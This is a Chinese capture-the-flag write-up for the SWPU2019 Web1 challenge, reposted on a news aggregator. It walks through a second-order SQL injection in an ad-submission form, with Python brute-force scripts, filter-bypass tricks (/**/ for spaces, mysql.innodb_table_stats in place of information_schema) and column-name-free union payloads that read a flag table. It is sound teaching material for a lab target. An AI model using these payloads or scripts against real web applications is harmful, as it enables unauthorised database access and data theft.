当前位置: 首页 > news >正文

[SWPU2019]Web1

有登录和注册功能,想到约束攻击。

在注册用户时,因为 insert 插入数据受到数据库定义的长度限制,会自动将超出长度的数据截断,因此 如果 uname 的长度限制为 char(7),那么注册账号'admin  a'时,由于长度超出,则后面的 a 会被截断,此时,数据库存储数据会把末尾空格删除,在数据库内就变成admin

此时登录时使用 admin 和自己注册的密码登录,数据库返回注册时的账号信息,但是如果业务侧仅根据返回的用户名信息判断权限,则会导致水平越权的漏洞。

尝试一下真的登录成功了。(尝试一下正常注册登录发现结果也一样哈哈哈)

可以看到有个广告申请功能。 申请后会显示在广告列表,点击查看详情发现访问了/detail.php?id=2。尝试sql注入:

id回显推断
4'正常没引号包裹
4a正常
4 order by {n}正常没办法判断字段数

怀疑这里不存在注入漏洞。

看了答案,注入点在申请广告页面。为什么能想到呢?

首先能发现的就是申请广告的时候会判断广告名是否已存在,也就是说会从数据库中根据广告名查询记录。但是并不能利用。

创建一个广告名为1'后再查询广告详情发现:

说明这边广告详情是利用广告名进行查询的。能够二次注入。并且有报错信息,试试看报错注入

1'union/**/select/**/updatexml(1,concat(0x7e,database()),1)#(空格会被替换为空)

回显 标题含有敏感词,看一下过滤的关键字 ,想用bp的但是不行,因为申请广告条数有上限,需要写脚本:

import requestsurl1 = 'http://35d3dd65-4548-4570-96d4-993634cfdecf.node5.buuoj.cn:81/addads.php'
url2 = 'http://35d3dd65-4548-4570-96d4-993634cfdecf.node5.buuoj.cn:81/empty.php'with open('sql字符过滤字典.txt', "r") as file:count = 0headers = {"Cookie": "PHPSESSID=2b01b6e2b0f4fa962870236462b84443"}r = requests.get(url2, headers=headers)for line in file:data = {"title": f"{line}","content": 'a',"ac": 'add',}r = requests.post(url1, data=data, headers=headers)# print(r.text)if "标题含有敏感词汇" in r.text:print(f"{line}\n")count = count + 1if count > 8:r = requests.get(url2, headers=headers)count = 0

比较关键的两个点就是,因为最多十条广告所以需要在达到数量前访问empty.php清理,另外就是访问的时候要带上Cookie身份标志。 

用我的字典爆破出来的过滤关键字有:

#

--

--+

and

or

xor

order

information

handler

updatexml

extractvalue

regexp

floor

join

union是没有被过滤的,可以考虑联合注入。比较重要的几个过滤关键字是注释符和information。所以只能考虑闭合引号。

1'union select 1,2,3,4,5,'6

发现将空格给去掉了,可以用/**/来代替。

1'union/**/select/**/1,2,3,4,5,7,8,'9试了很多一直没找到,也利用脚本吧,快一点。

import requestsurl1 = 'http://b6ea1e6d-9dfe-4e69-a5a9-eef389dde88e.node5.buuoj.cn:81/addads.php'
url2 = 'http://b6ea1e6d-9dfe-4e69-a5a9-eef389dde88e.node5.buuoj.cn:81/empty.php'
url3 = 'http://b6ea1e6d-9dfe-4e69-a5a9-eef389dde88e.node5.buuoj.cn:81/detail.php'session = requests.Session()
session.headers.update({"Cookie": "PHPSESSID=d9938f1c33af4c7176876bfd026cfd6b"
})title = "1'union/**/select/**/'1"
id = 279  # 现在的id
session.get(url2)  # 先清除一次
count = 0
for i in range(2, 100):data = {"title": f"{title}","content": 'a',"ac": 'add',}# print(title)r = session.post(url1, data=data)  # 申请广告# print(r.text)session.get("http://b6ea1e6d-9dfe-4e69-a5a9-eef389dde88e.node5.buuoj.cn:81/index.php")id = id + 1# print(url)r = session.get(url3, params={"id": id})# print(r.text)if "未查找到相关广告信息" not in r.text:print(title)exit(0)title = title + f"','{i}"count = count + 1if count > 8:r = session.get(url2)  #  清除广告count = 0

emm调试这个脚本花了两个小时,果然“快”多了......

有几个踩过的坑:

1、id是自增变量,,每申请一条广告就要加一,访问detail.php时需要用id

2、访问addads.php申请广告后去访问detail.php查看详情,一直显示的是找不到相关广告并且没有报错,说明广告没有申请成功,因为如果成功的话查看详情那里就会出现sql语法报错。通过不断排查问题发现:

申请广告,对addads.php请求

跳出弹窗,此时网页仍一直在加载状态,这个时候通过访问detail.php查看刚刚申请的广告详情就会出现这个坑:

点击弹窗确定后,网页跳转到了index.php

并且自动发起了两个请求,/favicon.ico和/login.php。

在网页开发中,favicon.ico 是一个特殊的图标文件,主要作用是作为网站的标志性图标,用于在浏览器中标识网站,提升用户体验和品牌辨识度。具体表现为:

  1. 浏览器标签页显示:当用户打开网页时,favicon.ico 会显示在浏览器的标签页左侧,帮助用户在多个标签页中快速识别和切换到你的网站。

  2. 书签 / 收藏夹标识:当用户将网站添加到书签或收藏夹时,favicon.ico 会作为该条目的图标,使收藏内容更易区分。

  3. 历史记录和地址栏显示:部分浏览器会在地址栏左侧或历史记录列表中显示该图标,增强网站的视觉识别性。

  4. 移动设备识别:在移动设备上,当用户将网站添加到主屏幕时,favicon.ico 可能会被用作应用图标(部分场景下需要特定尺寸的图标配合)。

通常将 favicon.ico 文件放在网站的根目录下,浏览器会自动请求该文件。

login.php是身份验证文件。当跳转到index.php之后查看广告详情才正常,说明此时数据库中才有这条广告记录。

为什么只有在确定弹窗后广告才申请成功呢?弹窗的作用就是跳转到index.php页面,于是在脚本中每次申请一次广告就访问一下Index.php,果然这样就解决了问题。但是具体什么原理呢?不清楚。

脚本跑出来1'union/**/select/**/'1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22

说明有22个字段。申请后查看一下详情可以看到:

说明显示的是第2,3字段。

1'union/**/select/**/'1',database(),'3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22

得到数据库名web1。

但是information被禁用了怎么得到表名和列明呢?

mysql.innodb_table_stats

MySQL 数据库系统中内置的 mysql 系统数据库下的一张表,主要用于存储 InnoDB 存储引擎表的统计信息,其中有table_name字段。存放的并非是仅当前数据库中的表信息。

1'union/**/select/**/'1',(select/**/group_concat(table_name)from/**/mysql.innodb_table_stats),'3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22

需要注意这里因为最后要闭合引号,所以from/**/mysql.innodb_table_stats不能放到最后,只能利用嵌套查询。

可以得到表名:FLAG_TABLE,news,users,gtid_slave_pos,ads,users

接下来如何获得列名呢?

无列名注入:对于某个表不知道列名,可以用select 1,2,3... union select * from table来获得表的字段数。接着利用:

解析过程:

  1. 内层子查询
    (select 1,2,3 union select 4,5,6)a 执行后会生成一个包含 2 行、3 列的临时表(别名 a),数据如下:

    1

    2

    3

    1

    2

    3

    4

    5

    6

    这里的列名默认会以第一行的数值作为临时列名(不同数据库可能略有差异,部分数据库会自动命名为 col1col2 等,但逻辑一致)。

  2. 外层查询的 group_concat(`2`)

    • 反引号 `2` 表示引用列名为 2 的列(即子查询中的第二列,因为第一行的第二列值为 2,成为了该列的临时名称)。

    • group_concat() 函数会将这一列的所有值(2 和 5)合并为一个字符串,用逗号分隔。

因此,最终结果为字符串 2,5

 因此首先

1'union/**/select/**/'1',(select/**/1/**/union/**/select*from/**/FLAG_TABLE),'3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22

说明该表不在当前数据库内,没有办法切换数据库,所以flag不会在里面。

1'union/**/select/**/'1',(select/**/1/**/union/**/select*from/**/users),'3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22

回显The used SELECT statements have a different number of columns,说明可行

1'union/**/select/**/'1',(select/**/1,2,3/**/union/**/select*from/**/users),'3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22

回显Operand should contain 1 column(s),说明是三个字段,这里的错误在于嵌套查询的结果包括多个字段,不用管。

接下来就是获得字段值,猜测大概率在第三个字段,因为前两个肯定是username和passwoed。

1'union/**/select/**/'1',(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select*from/**/users)a),'3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22

拿到flag啦!!

总结一下:这道题重点挺多的,第一是漏洞类型判断,题目并没有提示是sql漏洞,所以很可能会跑偏。但是存在漏洞嫌疑的地方都得尝试。 第二是注入点的发掘,这道题是需要利用二次注入,首先创建一个广告,然后查询广告详情的时候会查数据库,因此下次碰到需要查数据库的地方都得怀疑是不是有sql漏洞。第三是这道题将information禁用了,所以需要用到无列明注入技巧。最后就是脚本编写能力,虽然这道题不是一定要利用脚本,但是通过练习也稍稍提升了一点熟练度。

http://www.lryc.cn/news/603211.html

相关文章:

  • 链表反转中最常用的方法————三指针法
  • PHP云原生架构:容器化、Kubernetes与Serverless实践
  • redis【1】
  • 小程序视频播放,与父视图一致等样式设置
  • zama test
  • 百元级工业级核心板:明远智睿×瑞萨V2H,开启AIoT开发新纪元
  • PDF转Word免费工具!批量处理PDF压缩,合并, OCR识别, 去水印, 签名等全功能详解
  • 数据结构之时间复杂度
  • 前端css 的固定布局,流式布局,弹性布局,自适应布局,响应式布局
  • ZKmall开源商城中台架构实践:API 网关与服务治理如何撑起电商技术骨架
  • 在 PolkaVM 上用 Rust 实现 ERC20 合约的全流程开发指南
  • 接口自动化测试pytest框架
  • c++-list
  • 【VOS虚拟操作系统】未来之窗打包工具在前端资源优化中的应用与优势分析——仙盟创梦IDE
  • Redis内存使用耗尽情况分析
  • 40+个常用的Linux指令——下
  • 艾利特机器人:光伏机器人如何重塑清洁能源制造新格局
  • 【CDH】CDH环境中升级ZooKeeper的实战记录
  • 基于KMeans、AgglomerativeClustering、DBSCAN、PCA的聚类分析的区域经济差异研究
  • 【Linux知识】Linux Shell 脚本中的 `set -ex` 命令深度解析
  • 复现cacti的RCE(CVE-2022-46169)
  • Go 客户端玩转 ES|QL API 直连与 Mapping Helpers 实战详解
  • upload-labs靶场通关(1-12)
  • 服务器之光:Nginx--反向代理模块详解及演练
  • 图论:Bellman_ford算法
  • 《汇编语言:基于X86处理器》第10章 结构和宏(3)
  • 【WRF-Chem 实例1】namelist.input 详解- 模拟CO2
  • 鸿蒙Harmony-自定义List组件,解决List组件手势滑动点击卡住问题
  • 【图像噪点消除】——图像预处理(OpenCV)
  • 创建型设计模式-工厂方法模式和抽象工厂方法模式